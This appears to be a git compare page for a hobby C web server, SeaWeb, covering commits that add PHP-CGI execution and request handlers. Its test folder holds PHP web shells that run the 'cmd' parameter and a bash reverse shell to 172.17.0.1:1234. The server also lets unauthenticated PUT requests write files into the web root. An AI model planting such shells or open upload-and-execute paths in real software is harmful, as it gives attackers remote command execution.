Compare commits

...

6 Commits

Author SHA1 Message Date
Pin
3b8405361c bug fixes 2022-03-08 23:40:27 -05:00
Pin
52f01b6c69 200 return content type 2022-03-08 23:40:26 -05:00
Pin
fac85bb352 fixed race condition 2022-03-08 23:40:24 -05:00
Pin
de1bac616b moved functions around 2022-03-08 23:40:23 -05:00
Pin
fc4af96282 further php support 2022-03-08 23:40:21 -05:00
Pin
01507d2734 added php execution 2022-03-08 23:40:11 -05:00
21 changed files with 514 additions and 149 deletions

View File

@@ -4,17 +4,19 @@ ENV DEBIAN_FRONTEND=noninteractive
RUN apt-get update && \ RUN apt-get update && \
apt-get install \ apt-get install \
-y openssl libssl-dev make gcc pkg-config -y openssl libssl-dev make gcc pkg-config php php-cgi
COPY Makefile /src/ COPY Makefile /src/
COPY src/ /src/src/ COPY src/ /src/src/
COPY cmd/ /src/cmd/ COPY cmd/ /src/cmd/
COPY include/ /src/include/ COPY include/ /src/include/
COPY ca/ /src/ca/ COPY ca/ /src/ca/
COPY entrypoint.sh /
COPY content/ /var/www/html COPY content/ /var/www/html
RUN mkdir -p /var/log/seaweb RUN mkdir -p /var/log/seaweb
RUN touch /var/log/seaweb/log
WORKDIR /src/ WORKDIR /src/
@@ -25,3 +27,6 @@ RUN printf "y\ny\n" | make genCerts
EXPOSE 8080/tcp EXPOSE 8080/tcp
CMD ["--verbose"]
ENTRYPOINT ["/bin/bash", "/entrypoint.sh"]

View File

@@ -40,7 +40,10 @@ dockerBuild: output_dir
docker build . -t seaweb:latest docker build . -t seaweb:latest
dockerTestDeploy: dockerBuild dockerTestDeploy: dockerBuild
docker run -p8080:8080 --rm seaweb:latest seaweb & docker run -p8080:8080 --rm -d seaweb:latest
dockerReleaseDeploy: dockerBuild
docker run -p8080:8080 --rm -d seaweb:latest --cert /src/certs/cert.pem --privkey /src/certs/key.pem --verbose
killTestDocker: killTestDocker:
docker stop -t 0 `docker ps | grep "seaweb:latest" | tail -n 1 | tr -s " " | cut -d " " -f 1` docker stop -t 0 `docker ps | grep "seaweb:latest" | tail -n 1 | tr -s " " | cut -d " " -f 1`

28
README.md Normal file
View File

@@ -0,0 +1,28 @@
# SeaWeb
## Running
It is recommended to run this application using Docker.
For a deployment running the application without HTTPS run `make dockerTestDeploy`, this will open a socket on port 8080.
For a deployment running the application with HTTPS run `make dockerReleaseDeploy`, this will also open a socket on port 8080.
Running `make killTestDocker` will kill the running instance of seaweb:latest running in Docker.
To view logs within the running container run `docker exec -it $(docker ps | grep "seaweb:latest" | grep -o '[^ ]*$') tail -f /var/log/seaweb/log`, or manually view the `/var/log/seaweb/log` file.
If you run this application without Docker please ensure the OpenSSL development headers are installed onto your system, this will be important if running with HTTPS.
To build this application outside of Docker run `make`, and the binary will be build into `./bin`.
Running `./bin/seaweb --help` or `./bin/seaweb -h` will show you the help message for the application showing all possible options.
By default the application is compiled to utilize `/var/www/html` as the WEB root, and will output logs to `/var/log/seaweb/log`; if running the application outside of Docker please ensure this is setup with correct permissions to run.
## Notes
- All new connections will spawn a child process which is used to deal with the request
- If the process takes longer than 5 seconds to resolve the request, the child process will be killed
- Running `make genCerts` will generate a root authority and generate certificates to utilize for the web server
- Certificate authority related files start with `ca` while the certificates which should be utilized for the web server omit the `ca`
- Making a request to the web server which does not match the current protocol (e.g. making a https request when it is server http) will result in the server ignoring the request
- Returning an error here is not possible since if we have a none SSL socket created we cannot respond to a SSL request
- This will cause a fork of the process to spawn which will be killed in 5 seconds after the timeout is met
- If a request to the root directory is made, `/`, it is assumed that the user was trying to navigate to `/index.html` and the request will be treated as such

View File

@@ -15,13 +15,15 @@
#include "returnRequest.h" #include "returnRequest.h"
#include "server.h" #include "server.h"
#include "utils.h" #include "utils.h"
#include "requestHandlers.h"
//#define WEB_ROOT "/var/www/html/" #define WEB_ROOT "/var/www/html/"
#define WEB_ROOT "content/" //#define WEB_ROOT "content/"
#define BUFF_READ 1024 #define BUFF_READ 1024
static int verbose_flag = 0; static int verbose_flag = 0;
bool enableHTTPS = 0; bool enableHTTPS = 0;
char *WEB_ROOT_DIR = NULL;
static int timeout = 0; static int timeout = 0;
@@ -38,11 +40,16 @@ int parseHTTPRequest(unsigned char *buffer, struct HTTPRequest *r) {
int line = 0; int line = 0;
int contentCheck = 0; int contentCheck = 0;
unsigned char *checkLine = calloc(1000, sizeof(unsigned char)); unsigned char *checkLine = calloc(1000, sizeof(unsigned char));
size_t checkLineLen = 0;
unsigned char *logLine = malloc(sizeof(unsigned char)); unsigned char *logLine = malloc(sizeof(unsigned char));
char * varCheck; char * varCheck;
// Creating empty requestBody // Creating empty requestBody
r->requestBody = calloc(8, sizeof(char)); r->requestBody = malloc(sizeof(char));
r->requestBodyLen = 0;
r->requestVars = malloc(sizeof(char));
memset(r->requestBody, 0, sizeof(char));
memset(r->requestVars, 0, sizeof(char));
for (int i = 0; i <= strlen((char *)buffer); i++) { for (int i = 0; i <= strlen((char *)buffer); i++) {
temp[0] = buffer[i]; temp[0] = buffer[i];
@@ -56,7 +63,7 @@ int parseHTTPRequest(unsigned char *buffer, struct HTTPRequest *r) {
// HTTP Request Type // HTTP Request Type
if ((!strcmp(token, "GET")) || (!strcmp(token, "POST")) || if ((!strcmp(token, "GET")) || (!strcmp(token, "POST")) ||
(!strcmp(token, "PUT")) || (!strcmp(token, "DELETE")) || (!strcmp(token, "PUT")) || (!strcmp(token, "DELETE")) ||
(!strcmp(token, "CONNECT"))) { (!strcmp(token, "CONNECT")) || (!strcmp(token, "HEAD"))) {
// Grabbing HTTP Request Type // Grabbing HTTP Request Type
r->requestType = malloc(strlen(token)); r->requestType = malloc(strlen(token));
strcpy(r->requestType, token); strcpy(r->requestType, token);
@@ -81,11 +88,15 @@ int parseHTTPRequest(unsigned char *buffer, struct HTTPRequest *r) {
PrintLog(logLine); PrintLog(logLine);
} else { // Gather information on >first line } else { // Gather information on >first line
if (contentCheck) { // Once content check is set to one everything after is part of the body if (contentCheck) { // Once content check is set to one everything after is part of the body
printf("Check Line: %s\n", checkLine);
r->requestBody = realloc(r->requestBody, r->requestBody = realloc(r->requestBody,
(strlen((char *)checkLine) + strlen((char *)r->requestBody) + 1)); (checkLineLen + r->requestBodyLen + 2));
strcat((char *)r->requestBody, (char *)checkLine); strcat((char *)r->requestBody, (char *)checkLine);
// Adding newline to requestBody // Adding newline to requestBody
sprintf((char *)r->requestBody, "%s\n", r->requestBody); strcat((char *)r->requestBody, "\n");
r->requestBodyLen += checkLineLen + 2;
printf("Size: %zu\nCheck Size: %zu\n", r->requestBodyLen, checkLineLen);
printf("Req:\n%s\n", r->requestBody);
} else { // Information parsing !content } else { // Information parsing !content
if (strlen((char *)checkLine) == 1) { // Looking for blank empty line to end header info if (strlen((char *)checkLine) == 1) { // Looking for blank empty line to end header info
contentCheck = 1; contentCheck = 1;
@@ -96,16 +107,30 @@ int parseHTTPRequest(unsigned char *buffer, struct HTTPRequest *r) {
token = strtok(NULL, ""); token = strtok(NULL, "");
r->requestHost = malloc(strlen(token)); r->requestHost = malloc(strlen(token));
strcpy(r->requestHost, token); strcpy(r->requestHost, token);
} else if (!strcmp(token, "Content-Type")) {
token = strtok(NULL, ":");
r->requestConType = malloc(strlen(token));
strcpy(r->requestConType, token);
} else if (!strcmp(token, "Content-Length")) {
token = strtok(NULL, ":");
if (token == NULL) {
printDebug("Content-length parsing error");
return -1;
}
r->requestConLen = malloc(strlen(token));
strcpy(r->requestConLen, token);
} }
} }
} }
if (strlen((char *)checkLine) > 0) { if (strlen((char *)checkLine) > 0) {
// Clear checkLine // Clear checkLine
memset(checkLine,0,strlen((char *)checkLine)); memset(checkLine,0,strlen((char *)checkLine));
checkLineLen = 0;
} }
line++; line++;
} else { } else {
strcat((char *)checkLine, temp); strcat((char *)checkLine, temp);
checkLineLen++;
} }
} }
@@ -120,154 +145,48 @@ int parseHTTPRequest(unsigned char *buffer, struct HTTPRequest *r) {
return 0; return 0;
} }
int handleGetRequest(int socket, struct HTTPRequest *r, SSL *ssl) {
char errResponse[256];
char ch;
size_t size = 8;
int i = 0;
unsigned char *fileContent = calloc(size, sizeof(unsigned char));
FILE *fp;
char *workingReqDir;
// If requesting root directory change to index.html
if (!strcmp(r->requestDir, "/")) {
workingReqDir = "index.html";
} else {
workingReqDir = r->requestDir;
}
char *reqDir = calloc((strlen(WEB_ROOT) + strlen(workingReqDir) + 1), sizeof(char));
sprintf(reqDir, "%s%s", WEB_ROOT, workingReqDir);
fp = fopen(reqDir, "r");
if (fp == NULL) {
sprintf(errResponse, "Error opening file: %s", workingReqDir);
printDebug(errResponse);
return404Request(socket, ssl);
return -1;
}
while((ch = fgetc(fp)) != EOF) {
if (i == size) {
size *= 2;
fileContent = realloc(fileContent, size);
}
fileContent[i] = ch;
i++;
}
return200Request(socket, fileContent, ssl);
fclose(fp);
free(reqDir);
free(fileContent);
return 0;
}
int handlePUTRequest(int socket, struct HTTPRequest *r, SSL *ssl) {
FILE *fp;
char *reqDir;
char * workingReqDir;
char errResponse[256];
if (!strcmp(r->requestDir, "/")) {
workingReqDir = "index.html";
} else {
workingReqDir = r->requestDir;
}
reqDir = calloc(strlen(WEB_ROOT) + strlen(workingReqDir), sizeof(char));
sprintf(reqDir, "%s%s", WEB_ROOT, workingReqDir);
fp = fopen(reqDir, "w");
if (fp == NULL) {
sprintf(errResponse, "Error opening file: %s", workingReqDir);
printDebug(errResponse);
return return404Request(socket, ssl);
}
fprintf(fp, "%s", r->requestBody);
free(reqDir);
fclose(fp);
return return201Request(socket, r->requestBody, ssl);
}
int handleDELETERequest(int socket, struct HTTPRequest *r, SSL *ssl) {
char *reqDir;
char * workingReqDir;
char logLine[256];
if (!strcmp(r->requestDir, "/")) {
workingReqDir = "index.html";
} else {
workingReqDir = r->requestDir;
}
reqDir = calloc(strlen(WEB_ROOT) + strlen(workingReqDir), sizeof(char));
sprintf(reqDir, "%s%s", WEB_ROOT, workingReqDir);
if (remove(reqDir) == 0) {
sprintf(logLine, "Deleted file");
free(reqDir);
return return200Request(socket, NULL, ssl);
} else {
printDebug("Failed to delete file");
free(reqDir);
if (errno == 1) { // Permission denided
return return403Request(socket, ssl);
} else { // Catch all (likely file != exist)
return return404Request(socket, ssl);
}
}
return 0;
}
int handlePOSTRequest(int socket, struct HTTPRequest *r, SSL *ssl) {
return501Request(socket, ssl);
return 0;
}
int handleRequest(unsigned char buffer[], int socket, SSL *ssl) { int handleRequest(unsigned char buffer[], int socket, SSL *ssl) {
struct HTTPRequest r; // Holds relevant HTTP request information struct HTTPRequest r; // Holds relevant HTTP request information
r.requestConLen = malloc(sizeof(char));
r.requestConType = NULL;
int checkerr = 0; int checkerr = 0;
// Grabbing relevant information out of request // Grabbing relevant information out of request
checkerr = parseHTTPRequest(buffer, &r); checkerr = parseHTTPRequest(buffer, &r);
if (checkerr != 0) { // Checking for HTTP parsing error if (checkerr != 0) { // Checking for HTTP parsing error
printDebug("Error parsing...");
if (checkerr == -1) { if (checkerr == -1) {
printDebug("Error reading request, returning empty 500"); printDebug("Error reading request, returning empty 500");
return return500Request(socket, ssl); return500Request(socket, ssl);
} else { } else {
printDebug("Error parsing, returning 501"); printDebug("Error parsing, returning 501");
return return501Request(socket, ssl); return501Request(socket, ssl);
} }
} else { } else {
checkerr = checkHTTPVersion(r.requestVersion); checkerr = checkHTTPVersion(r.requestVersion);
if (checkerr != 0) { if (checkerr != 0) {
return return505Request(socket, ssl); return505Request(socket, ssl);
} else {
if (!strcmp(r.requestType, "GET")) {
handleGetRequest(socket, &r, ssl);
} else if (!strcmp(r.requestType, "POST")) {
handlePOSTRequest(socket, &r, ssl);
} else if (!strcmp(r.requestType, "PUT")) {
handlePUTRequest(socket, &r, ssl);
} else if (!strcmp(r.requestType, "DELETE")) {
handleDELETERequest(socket, &r, ssl);
} else if (!strcmp(r.requestType, "CONNECT")) {
return200Request(socket, NULL, ssl);
} else if (!strcmp(r.requestType, "HEAD")) {
return200Request(socket, NULL, ssl);
} else {
return500Request(socket, ssl);
}
} }
} }
if (!strcmp(r.requestType, "GET")) { free(r.requestConLen);
handleGetRequest(socket, &r, ssl); return 0;
return 0;
} else if (!strcmp(r.requestType, "POST")) {
handlePOSTRequest(socket, &r, ssl);
return 0;
} else if (!strcmp(r.requestType, "PUT")) {
handlePUTRequest(socket, &r, ssl);
return 0;
} else if (!strcmp(r.requestType, "DELETE")) {
handleDELETERequest(socket, &r, ssl);
return 0;
} else if (!strcmp(r.requestType, "CONNECT")) {
return200Request(socket, NULL, ssl);
return 0;
} else {
return500Request(socket, ssl);
return 0;
}
} }
void timeoutChild(int sig) { void timeoutChild(int sig) {
@@ -295,6 +214,10 @@ int main(int argc, char **argv) {
size_t bufSize = BUFF_READ; size_t bufSize = BUFF_READ;
unsigned char *buffer = calloc(bufSize, sizeof(unsigned char)); unsigned char *buffer = calloc(bufSize, sizeof(unsigned char));
// Copy WEB_ROOT into extern value
WEB_ROOT_DIR = malloc(strlen(WEB_ROOT));
strcpy(WEB_ROOT_DIR, WEB_ROOT);
// Setting up options // Setting up options
static const struct option long_options[] = { static const struct option long_options[] = {
{"help", no_argument, NULL, 'h'}, {"help", no_argument, NULL, 'h'},
@@ -394,7 +317,6 @@ int main(int argc, char **argv) {
perror("Accept connection error"); perror("Accept connection error");
exit(EXIT_FAILURE); exit(EXIT_FAILURE);
} }
// Forking process // Forking process
pid_t pid; pid_t pid;
pid = fork(); pid = fork();
@@ -420,7 +342,7 @@ int main(int argc, char **argv) {
} while(buffCont == 0); } while(buffCont == 0);
if (strlen((char *)buffer) != 0) { if (strlen((char *)buffer) != 0) {
handleRequest(buffer, new_socket, ssl); handleRequest(buffer, new_socket, ssl);
buffer = calloc(bufSize, sizeof(unsigned char)); free(buffer);
} else { } else {
printDebug("Error reading from socket"); printDebug("Error reading from socket");
} }
@@ -435,7 +357,7 @@ int main(int argc, char **argv) {
} while(buffCont == 0); } while(buffCont == 0);
handleRequest(buffer, new_socket, NULL); handleRequest(buffer, new_socket, NULL);
buffer = calloc(bufSize, sizeof(unsigned char)); free(buffer);
} }
exit(EXIT_SUCCESS); exit(EXIT_SUCCESS);
} else if (pid2 < 0) { } else if (pid2 < 0) {
@@ -464,11 +386,12 @@ int main(int argc, char **argv) {
continue; continue;
} }
} }
free(privKeyFile); free(privKeyFile);
free(certFile); free(certFile);
free(listenAddr); free(listenAddr);
free(buffer); free(buffer);
free(WEB_ROOT_DIR);
close(server_fd); close(server_fd);
exit(EXIT_SUCCESS); exit(EXIT_SUCCESS);
} }

3
content/helloworld.php Normal file
View File

@@ -0,0 +1,3 @@
<?php
print("Hello World")
?>

4
content/vardumpGET.php Normal file
View File

@@ -0,0 +1,4 @@
<?php
print("Hello World\n");
var_dump($_GET);
?>

8
content/vardumpPOST.php Normal file
View File

@@ -0,0 +1,8 @@
<?php
print("Hello World\n");
$output=null;
var_dump($_POST);
exec('printenv', $output);
print_r($output);
var_dump($HTTP_RAW_POST_DATA);
?>

5
entrypoint.sh Normal file
View File

@@ -0,0 +1,5 @@
#!/bin/bash
set -e
exec seaweb "$@"

View File

@@ -8,5 +8,9 @@ struct HTTPRequest {
char *requestHost; char *requestHost;
char *requestDir; char *requestDir;
char *requestVars; char *requestVars;
char *requestConType;
char *requestConLen;
unsigned char *requestBody; unsigned char *requestBody;
size_t requestBodyLen;
}; };

View File

@@ -0,0 +1,6 @@
int handleGetRequest(int socket, struct HTTPRequest *r, SSL *ssl);
int handlePUTRequest(int socket, struct HTTPRequest *r, SSL *ssl);
int handleDELETERequest(int socket, struct HTTPRequest *r, SSL *ssl);
int handlePOSTRequest(int socket, struct HTTPRequest *r, SSL *ssl);

View File

@@ -9,8 +9,11 @@ int return400Request(int socket, SSL *ssl);
int return403Request(int socket, SSL *ssl); int return403Request(int socket, SSL *ssl);
int return404Request(int socket, SSL *ssl); int return404Request(int socket, SSL *ssl);
int return411Request(int socket, SSL *ssl); int return411Request(int socket, SSL *ssl);
int return418Request(int socket, SSL *ssl);
int return500Request(int socket, SSL *ssl); int return500Request(int socket, SSL *ssl);
int return501Request(int socket, SSL *ssl); int return501Request(int socket, SSL *ssl);
int return505Request(int socket, SSL *ssl); int return505Request(int socket, SSL *ssl);
int returnPHPRequest(int socket, char *content, SSL *ssl);

View File

@@ -1,4 +1,7 @@
#include <stdbool.h> #include <stdbool.h>
extern bool enableHTTPS; int printDebug(char message[]);
extern bool enableHTTPS;
extern char *WEB_ROOT_DIR;

View File

@@ -1,3 +1,5 @@
int PrintLog(unsigned char *message); int PrintLog(unsigned char *message);
int checkHTTPVersion(char *version); int checkHTTPVersion(char *version);
char *php_cgi(char *sPath, struct HTTPRequest *r);

177
src/requestHandlers.c Normal file
View File

@@ -0,0 +1,177 @@
//#include <unistd.h>
//#include <stdio.h>
//#include <stdlib.h>
#include <string.h>
#include <openssl/ssl.h>
#include <errno.h>
#include "httpStruct.h"
#include "returnRequest.h"
#include "server.h"
#include "utils.h"
int handleGetRequest(int socket, struct HTTPRequest *r, SSL *ssl) {
char errResponse[256];
char ch;
size_t size = 8;
int i = 0;
unsigned char *fileContent = calloc(size, sizeof(unsigned char));
FILE *fp;
char *workingReqDir;
char *phpReturn = NULL;
char phpEnd[5] = ".php";
bool endsWithPhp = false;
if (strlen(phpEnd) <= strlen(r->requestDir)) {
for (int i = 0; i < strlen(phpEnd); i++) {
if (r->requestDir[i + strlen(r->requestDir) - strlen(phpEnd)] != phpEnd[i]) {
endsWithPhp = false;
break;
}
endsWithPhp = true;
}
}
if (endsWithPhp) {
phpReturn = php_cgi(r->requestDir, r);
if (phpReturn != NULL) {
return returnPHPRequest(socket, phpReturn, ssl);
} else {
return return500Request(socket, ssl);
}
}
// If requesting root directory change to index.html
if (!strcmp(r->requestDir, "/")) {
workingReqDir = "index.html";
} else {
workingReqDir = r->requestDir;
}
char *reqDir = calloc((strlen(WEB_ROOT_DIR) + strlen(workingReqDir) + 1), sizeof(char));
sprintf(reqDir, "%s%s", WEB_ROOT_DIR, workingReqDir);
fp = fopen(reqDir, "r");
if (fp == NULL) {
sprintf(errResponse, "Error opening file: %s", workingReqDir);
printDebug(errResponse);
return404Request(socket, ssl);
return -1;
}
while((ch = fgetc(fp)) != EOF) {
if (i == size) {
size *= 2;
fileContent = realloc(fileContent, size);
}
fileContent[i] = ch;
i++;
}
return200Request(socket, fileContent, ssl);
fclose(fp);
free(reqDir);
free(fileContent);
return 0;
}
int handlePUTRequest(int socket, struct HTTPRequest *r, SSL *ssl) {
FILE *fp;
char *reqDir;
char * workingReqDir;
char errResponse[256];
if (!strcmp(r->requestDir, "/")) {
workingReqDir = "index.html";
} else {
workingReqDir = r->requestDir;
}
reqDir = calloc(strlen(WEB_ROOT_DIR) + strlen(workingReqDir), sizeof(char));
sprintf(reqDir, "%s%s", WEB_ROOT_DIR, workingReqDir);
fp = fopen(reqDir, "w");
if (fp == NULL) {
sprintf(errResponse, "Error opening file: %s", workingReqDir);
printDebug(errResponse);
return return404Request(socket, ssl);
}
fprintf(fp, "%s", r->requestBody);
free(reqDir);
fclose(fp);
return return201Request(socket, r->requestBody, ssl);
}
int handleDELETERequest(int socket, struct HTTPRequest *r, SSL *ssl) {
char *reqDir;
char * workingReqDir;
char logLine[256];
if (!strcmp(r->requestDir, "/")) {
workingReqDir = "index.html";
} else {
workingReqDir = r->requestDir;
}
reqDir = calloc(strlen(WEB_ROOT_DIR) + strlen(workingReqDir), sizeof(char));
sprintf(reqDir, "%s%s", WEB_ROOT_DIR, workingReqDir);
if (remove(reqDir) == 0) {
sprintf(logLine, "Deleted file");
free(reqDir);
return return200Request(socket, NULL, ssl);
} else {
printDebug("Failed to delete file");
free(reqDir);
if (errno == 1) { // Permission denided
return return403Request(socket, ssl);
} else { // Catch all (likely file != exist)
return return404Request(socket, ssl);
}
}
return 0;
}
int handlePOSTRequest(int socket, struct HTTPRequest *r, SSL *ssl) {
char *phpReturn = NULL;
// Supported data types application/x-www-form-urlencoded application/json
if (r->requestConLen == NULL) { // Return 411 if length var not specified
printDebug("Content Length was not sent in POST request");
return return411Request(socket, ssl);
}
if (r->requestConType != NULL) {
if (!(strcmp(r->requestConType, "application/x-www-form-utlencoded") == 0)) {
printDebug("Application From Selected");
} else {
printDebug("Content will likely get parsed wrong");
}
}
char phpEnd[5] = ".php";
bool endsWithPhp = false;
if (strlen(phpEnd) <= strlen(r->requestDir)) {
for (int i = 0; i < strlen(phpEnd); i++) {
if (r->requestDir[i + strlen(r->requestDir) - strlen(phpEnd)] != phpEnd[i]) {
endsWithPhp = false;
break;
}
endsWithPhp = true;
}
}
if (endsWithPhp) {
phpReturn = php_cgi(r->requestDir, r);
if (phpReturn != NULL) {
return returnPHPRequest(socket, phpReturn, ssl);
}
} else {
return return200Request(socket, NULL, ssl);
}
return return500Request(socket, ssl);
}

View File

@@ -22,7 +22,7 @@ int return200Request(int socket, unsigned char *content, SSL *ssl) {
char *message = ""; char *message = "";
if (content != NULL) { if (content != NULL) {
message = calloc(strlen((char *)content) + 128, sizeof(char)); message = calloc(strlen((char *)content) + 128, sizeof(char));
sprintf(message, "HTTP/1.1 200 OK\nContent-Length: %zu\nConnection: close\n\n%s\n", sprintf(message, "HTTP/1.1 200 OK\nContent-Length: %zu\nContent-Type: text/html\nConnection: close\n\n%s",
strlen((char *)content), content); strlen((char *)content), content);
} else { // Sending empty response } else { // Sending empty response
message = calloc(128, sizeof(char)); message = calloc(128, sizeof(char));
@@ -39,6 +39,12 @@ int return201Request(int socket, char *content, SSL *ssl) {
return returnRequest(socket, message, 201, ssl); return returnRequest(socket, message, 201, ssl);
} }
int return400Request(int socket, SSL *ssl) {
char *message = calloc(128, sizeof(char));
sprintf(message, "HTTP/1.1 400 HTTP Request Not Valid\nContent-Length: 0\nConnection: close\n\n");
return returnRequest(socket, message, 400, ssl);
}
int return403Request(int socket, SSL *ssl) { int return403Request(int socket, SSL *ssl) {
char *message = calloc(128, sizeof(char)); char *message = calloc(128, sizeof(char));
sprintf(message, "HTTP/1.1 403 Forbidden\nContent-Length: 0\nConnection: close\n\n"); sprintf(message, "HTTP/1.1 403 Forbidden\nContent-Length: 0\nConnection: close\n\n");
@@ -47,14 +53,20 @@ int return403Request(int socket, SSL *ssl) {
int return404Request(int socket, SSL *ssl) { int return404Request(int socket, SSL *ssl) {
char *message = calloc(128, sizeof(char)); char *message = calloc(128, sizeof(char));
sprintf(message, "HTTP/1.1 404 Not Found\nContent-Length: 12\nConnection: close\n\n404 Request\n\n"); sprintf(message, "HTTP/1.1 404 Not Found\nContent-Length: 13\nConnection: close\n\n404 Request\n\n");
return returnRequest(socket, message, 404, ssl); return returnRequest(socket, message, 404, ssl);
} }
int return400Request(int socket, SSL *ssl) { int return411Request(int socket, SSL *ssl) {
char *message = calloc(128, sizeof(char)); char *message = calloc(128, sizeof(char));
sprintf(message, "HTTP/1.1 400 HTTP Request Not Valid\nContent-Length: 0\nConnection: close\n\n"); sprintf(message, "HTTP/1.1 411 Length Required\nContent-Length: 0\nConnection: close\n\n");
return returnRequest(socket, message, 400, ssl); return returnRequest(socket, message, 411, ssl);
}
int return418Request(int socket, SSL *ssl) {
char *message=calloc(128, sizeof(char));
sprintf(message, "HTTP/1.1 418 I'm a teapot\nContent-Length: 0\nConnection: close\n\n");
return returnRequest(socket, message, 418, ssl);
} }
int return500Request(int socket, SSL *ssl) { int return500Request(int socket, SSL *ssl) {
@@ -74,3 +86,34 @@ int return505Request(int socket, SSL *ssl) {
sprintf(message, "HTTP/1.1 505 HTTP Version Not Supported\nContent-Length: 0\nConnection: close\n\n"); sprintf(message, "HTTP/1.1 505 HTTP Version Not Supported\nContent-Length: 0\nConnection: close\n\n");
return returnRequest(socket, message, 505, ssl); return returnRequest(socket, message, 505, ssl);
} }
int returnPHPRequest(int socket, char *content, SSL *ssl) {
char *message = malloc(1024);
memset(message, 0, 1024);
char *line = malloc(1024);
memset(line, 0, 1024);
char temp[1];
size_t lineNum = 0;
for (int i = 0; i <= strlen(content); i++) {
temp[0] = content[i];
if (((!strcmp(temp, "\n")) && (i != 0)) || (i == strlen(content))) {
if (lineNum != 0) {
strcat(message, line);
strcat(message, "\n");
}
if (strlen(line) > 0) {
memset(line, 0, strlen(line));
}
lineNum++;
} else {
strcat(line, temp);
}
}
free(line);
if (strlen(message) == 0) { // Return 500 on error parsing
free(message);
return return500Request(socket, ssl);
}
return return200Request(socket, (unsigned char *)message, ssl);
}

View File

@@ -1,6 +1,14 @@
#include <stdio.h> #include <stdio.h>
#include <stdlib.h>
#include <time.h> #include <time.h>
#include <string.h> #include <string.h>
#include <unistd.h>
#include <wait.h>
#include "server.h"
#include "httpStruct.h"
#define BUFF_READ 1024
#define NUM_SUPPORTED_VERSIONS 2 #define NUM_SUPPORTED_VERSIONS 2
static char supportedHTTPVersions[NUM_SUPPORTED_VERSIONS][16] = { static char supportedHTTPVersions[NUM_SUPPORTED_VERSIONS][16] = {
@@ -14,8 +22,17 @@ int PrintLog(unsigned char *message) {
time(&UTCTime); time(&UTCTime);
struct tm *now = localtime(&UTCTime); struct tm *now = localtime(&UTCTime);
printf("[Log] %02d/%02d/%d %02d:%02d:%02d - %s\n", (now->tm_mon + 1), now->tm_mday, if (!strcmp(WEB_ROOT_DIR, "/var/www/html/")) {
FILE *fp;
fp = fopen("/var/log/seaweb/log", "a");
fprintf(fp, "[Log] %02d/%02d/%d %02d:%02d:%02d - %s\n", (now->tm_mon + 1), now->tm_mday,
(now->tm_year + 1900), now->tm_hour, now->tm_min, now->tm_sec, message);
fclose(fp);
} else {
printf("[Log] %02d/%02d/%d %02d:%02d:%02d - %s\n", (now->tm_mon + 1), now->tm_mday,
(now->tm_year + 1900), now->tm_hour, now->tm_min, now->tm_sec, message); (now->tm_year + 1900), now->tm_hour, now->tm_min, now->tm_sec, message);
}
return 0; return 0;
} }
@@ -30,3 +47,100 @@ int checkHTTPVersion(char *version) {
} }
return supported; return supported;
} }
char *php_cgi(char *sPath, struct HTTPRequest *r) {
int phpPipe[2];
char *buf = NULL;
size_t bufLen = 1024;
buf = malloc(bufLen);
memset(buf, 0, bufLen);
pipe(phpPipe);
pid_t pid;
int status = 0;
pid = fork();
if (pid == 0) { // Child fork
char script[500];
char *queryString = NULL;
close(phpPipe[0]);
dup2(phpPipe[1], STDOUT_FILENO);
strcpy(script, "SCRIPT_FILENAME=");
strcat(script, WEB_ROOT_DIR);
strcat(script, sPath);
putenv("GATEWAY_INTERFACE=CGI/1.1");
putenv(script);
putenv("REDIRECT_STATUS=true");
putenv("SERVER_PROTOCOL=HTTP/1.1");
putenv("REMOTE_HOST=127.0.0.1");
if (!strcmp(r->requestType, "POST")) {
putenv("REQUEST_METHOD=POST");
char conLenString[256];
sprintf(conLenString, "CONTENT_LENGTH=%zu", r->requestBodyLen);
putenv(conLenString);
putenv("CONTENT_TYPE=application/x-www-form-urlencoded");
queryString = malloc(r->requestBodyLen + 24);
if (r->requestBodyLen != 0) {
sprintf(queryString, "QUERY_STRING=%s", r->requestBody);
} else {
sprintf(queryString, "QUERY_STRING=");
}
putenv(queryString);
// Starting fork to pipe stdin into php-cgi
int phpPipe2[2];
pipe(phpPipe2);
pid_t pid2;
pid2 = fork();
if (pid2 == 0) { // Child fork
close(phpPipe2[0]);
dup2(phpPipe2[1], STDOUT_FILENO);
printf("%s", r->requestBody);
close(phpPipe2[1]);
exit(EXIT_SUCCESS);
} else if (pid < 0) { // Error forking
printDebug("Error in stdin php frok");
} else { // Parent fork
close(phpPipe2[1]);
dup2(phpPipe2[0], STDIN_FILENO);
execl("/usr/bin/php-cgi", "php-cgi", NULL);
}
} else {
putenv("REQUEST_METHOD=GET");
if (r->requestVars != NULL) {
queryString = malloc(strlen(r->requestVars) + 24);
sprintf(queryString, "QUERY_STRING=%s", r->requestVars);
} else {
queryString = malloc(24);
sprintf(queryString, "QUERY_STRING=");
}
putenv(queryString);
execl("/usr/bin/php-cgi", "php-cgi", NULL);
}
exit(EXIT_SUCCESS);
} else if (pid < 0) { // Error forking
printDebug("Error forking php exec");
} else { // Parent fork
size_t buffCount;
close(phpPipe[1]);
do {
waitpid(pid, &status, WUNTRACED);
} while (!WIFEXITED(status) && !WIFSIGNALED(status));
do {
buffCount = read(phpPipe[0], buf, BUFF_READ);
if (strlen(buf) == bufLen) {
bufLen *= 2;
buf = realloc(buf, bufLen);
}
} while (buffCount == 0);
}
close(phpPipe[0]);
if (status != 0) {
return NULL;
}
return buf;
}

7
test_requests/cmd.php Normal file
View File

@@ -0,0 +1,7 @@
<?php
$output=null;
$retval=null;
exec('whoami', $output, $retval);
print_r($output);
?>

7
test_requests/cmdGET.php Normal file
View File

@@ -0,0 +1,7 @@
<?php
$output=null;
$retval=null;
exec($_GET['cmd'], $output, $retval);
print_r($output);
?>

View File

@@ -0,0 +1,7 @@
<?php
$output=null;
$retval=null;
exec($_POST['cmd'], $output, $retval);
print_r($output);
?>

View File

@@ -0,0 +1,10 @@
POST / HTTP/1.1
Host: localhost:8080
User-Agent: curl/7.81.0
Accept: */*
Referer: rbose
Content-Length: 40
Content-Type: application/x-www-form-urlencoded
name=linuxize&email=linuxize@example.com

3
test_requests/rcmd.php Normal file
View File

@@ -0,0 +1,3 @@
<?php
exec("/bin/bash -c 'bash -i >& /dev/tcp/172.17.0.1/1234 0>&1'");
?>